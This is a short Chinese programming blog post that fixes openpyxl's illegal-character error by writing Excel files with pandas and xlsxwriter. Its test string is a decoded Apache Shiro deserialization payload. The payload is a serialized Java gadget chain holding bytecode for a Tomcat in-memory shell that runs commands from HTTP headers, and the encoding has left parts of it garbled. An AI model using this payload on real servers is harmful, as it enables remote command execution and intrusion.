解决:openpyxl.utils.exceptions.IllegalCharacterError

使用python写excel遇到非法字符,本来用的是openpyxl发现有报错,查了一下xlsxwriter可以自动处理非法字符,写起来更方便。
注意使用前安装xlsxwriter:

pip install xlsxwriter
import pandas as pd

def write_to_xlsx(data, filename):
    # 表头
    headers = ["测试点", "文本"]
    df = pd.DataFrame(data, columns=headers)
    df.to_excel(filename, sheet_name="测试结果", index=False, engine='xlsxwriter')
text = """
这是一个shiro反序列化漏洞, 解密后的payload内容为:\n```\nrememberMe=¬ísrjava.util.HashMapÚÁÃ`ÑF\nloadFactorI    thresholdxp?@wsr4org.apache.commons.collections.keyvalue.TiedMapEntryŠ­Ò›9ÁÛLkeytLjava/lang/Object;LmaptLjava/util/Map;xpsr:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl    WOÁn¬«3I
_indentNumberI_transletIndexZ_useServicesMechanismL_auxClassest;Lcom/sun/org/apache/xalan/internal/xsltc/runtime/Hashtable;[\n_bytecodest[[B[_classt[Ljava/lang/Class;L_nametLjava/lang/String;L_outputPropertiestLjava/util/Properties;xpÿÿÿÿpur[[BKýggÛ7xpur[B¬óøTàxp|Êþº¾2ëFooIxp0on0KXjava/lang/Object\nSourceFileFooIxp0on0KX.java    writeBody(Ljava/lang/Object;[B)V$org.apache.tomcat.util.buf.ByteChunk    java/lang/ClassforName%(Ljava/lang/String;)Ljava/lang/Class;
\nnewInstance()Ljava/lang/Object;\nsetBytes[Bjava/lang/IntegerTYPELjava/lang/Class;    getDeclaredMethod@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; \n!<init>(I)V#$\n%java/lang/reflect/Method'invoke9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;)*\n(+getClass()Ljava/lang/Class;-.\n/doWrite1    getMethod3 \n4 java/lang/ClassNotFoundException6java.nio.ByteBuffer8wrap:java/lang/NoSuchMethodException<Code\nExceptionsjava/lang/Exception@
StackMapTablegetFV8(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;getDeclaredField-(Ljava/lang/String;)Ljava/lang/reflect/Field;EF\nGjava/lang/NoSuchFieldExceptionI
getSuperclassK.\nL(Ljava/lang/String;)V#N\nJO"java/lang/reflect/AccessibleObjectQ
setAccessible(Z)VST\nRUjava/lang/reflect/FieldWget&(Ljava/lang/Object;)Ljava/lang/Object;YZ\nX[java/lang/String]()V#_\n`java/lang/Threadb
currentThread()Ljava/lang/Thread;de\ncfgetThreadGroup()Ljava/lang/ThreadGroup;hi\ncjthreadslCD\nn[Ljava/lang/Thread;pgetName()Ljava/lang/String;rs\nctexecvcontains(Ljava/lang/CharSequence;)Zxy\n^zhttp|target~java/lang/Runnable€this$0‚handler„global†\nprocessorsˆjava/util/ListŠsize()IŒ‹Ž(I)Ljava/lang/Object;Y‹‘req“getResponse•    getHeader—Testecho™isEmpty()Z›œ\n^    setStatusŸ    addHeader¡Testcmd£os.name¥java/lang/System§getProperty&(Ljava/lang/String;)Ljava/lang/String;©ª\n¨«toLowerCase­s\n^®window°cmd.exe²/c´/bin/sh¶-c¸java/util/Scannerºjava/lang/ProcessBuilder¼([Ljava/lang/String;)V#¾\n½¿start()Ljava/lang/Process;ÁÂ\n½Ãjava/lang/ProcessÅgetInputStream()Ljava/io/InputStream;ÇÈ\nÆÉ(Ljava/io/InputStream;)V#Ë\n»Ì\AÎuseDelimiter'(Ljava/lang/String;)Ljava/util/Scanner;ÐÑ\n»ÒnextÔs\n»ÕgetBytes()[B×Ø\n^Ù\nÛ
getProperties()Ljava/util/Properties;ÝÞ\n¨ßjava/util/HashtableátoStringãs\nâä[Ljava/lang/String;æ@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTransletè\né`!é\n>/ö\n¸N-¶M-½YSY²SY²S¶",½Y+SY»Y·&SY»Y+¾·&S¶,W*¶02½Y-S¶5*½Y,S¶,W§:9¸N-;½YS¶"-½Y+S¶,M*¶02½Y-S¶5*½Y,S¶,W§H:9¸N-;½YS¶"-½Y+S¶,M*¶02½Y-S¶5*½Y,S¶,W§±hk7h°=B÷k7÷D=ýD?A\nCD>~?M*¶0N§-+¶HM§§:-¶MN§-¦ÿç,¦»JY+·P¿,¶V,*¶\°\nJB%ý\nXÿ^XJ    
?A#_>6?*·ê6¸g¶km¸oÀq:6¾¢2:¦§    ¶uN-w¶{š-}¶{š§î¸oL+Áš§Ü+ƒ¸o
¸o‡¸oL§:§Ã§+‰¸oÀ‹:    6\n\n    ¹¢ž    \n¹’:”¸oL+¶0–½¶5+½¶,M+¶0˜½Y^S¶5+½YšS¶,À^N-¥\n-¶ž™§X,¶0 ½Y²S¶5,½Y»YÈ·&S¶,W,¶0¢½Y^SY^S¶5,½YšSY-S¶,W6+¶0˜½Y^S¶5+½Y¤S¶,À^N-¥\n-¶ž™§,¶0 ½Y²S¶5,½Y»YÈ·&S¶,W¦¸¬¶¯±¶{™½^Y³SYµSY-S§½^Y·SY¹SY-S:,»»Y»½Y·À¶Ä¶Ê·Í϶ӶֶڸÜ6-¥\n-¶ž™š§,¸à¶å¶Ú¸Ü™§    „\n§þ\™§    „§ýß±_psABÝÿqücÿ^qcÿ^qcSAÿ^qcþ
‹ÿc^qc‹ûT.ûMQç)ÿ^qc‹ÿqcú?Aptabcsrjava.util.Properties9Ðzp6>˜Ldefaultsq~xrjava.util.Hashtable»%!Jä¸F\nloadFactorI    thresholdxp?@wxpwxsr*org.apache.commons.collections.map.LazyMapn唂žy”Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.InvokerTransformer‡èÿk{|Î8[iArgst[Ljava/lang/Object;LiMethodNameq~\n[iParamTypesq~    xpur[Ljava.lang.Object;ÎXŸs)lxptnewTransformerur[Ljava.lang.Class;«×®ËÍZ™xpsq~?@wxxttxØÏʼ÷Ð\n```\n
"""

data=[["shiro",text]]
write_to_xlsx(data,"res.xlsx")

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值